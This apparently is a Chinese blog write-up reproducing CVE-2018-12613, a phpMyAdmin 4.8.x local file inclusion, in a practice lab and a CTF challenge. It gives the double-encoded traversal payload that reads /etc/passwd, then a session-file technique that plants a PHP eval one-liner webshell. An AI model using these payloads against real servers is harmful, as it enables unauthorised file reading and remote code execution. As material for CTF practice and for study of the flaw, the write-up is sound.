[PHPMYADMIN]CVE-2018-12613复现

/ 0评 / 0

复现地址:buuoj.cn

漏洞描述

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码

漏洞影响范围

​ phpMyAdmin 4.8.0和4.8.1
产生点

以上分析:
1.传入的target不能为空
2.必须是一个字符串
3.不能以index开头
4.不能再数组target_blacklist中
5.且经过checkPageValidit检查后为真
查询后我们发现黑名单中有import.php  export.php
 
要求:target不为空、是字符串、不在黑名单中、且经过切割后再白名单中。
这里面涉及一个知识:双重编码,比如你将?双重编码的话,经过包含时你包含的文件会被当成一个目录
(并不是只有?两次编码可以实现跨目录,#二次编码也可以)
如何查看此phpmyadmin有漏洞呢
payload为:?target=db_sql.php%253f/../../../../../../../../etc/passwd
其中db_sql.php是白名单中的内容

public static $goto_whitelist = array(
      'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

随便选一个。如果有回显即为漏洞存在
 
参考:https://blog.csdn.net/Mikasa_/article/details/88594749
 
如何获得webshell?
可以尝试session方法
在sql界面尝试写入phpinfo
select'<?php phpinfo();?>'
获得session后访问tmp/sess_xxxxxxxxx
发现成功执行

尝试删除cookie后写入一句话木马
select'<?php @eval($_POST[1]);?>'
 
 
例题:

[GWCTF 2019]我有一个数据库

打开后?target=db_datadict.php%253f/../../../../../../../../etc/passwd
发现包含此漏洞
读取db_datadict.php%253f/../../../../../../../../flag
获得flag
 

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注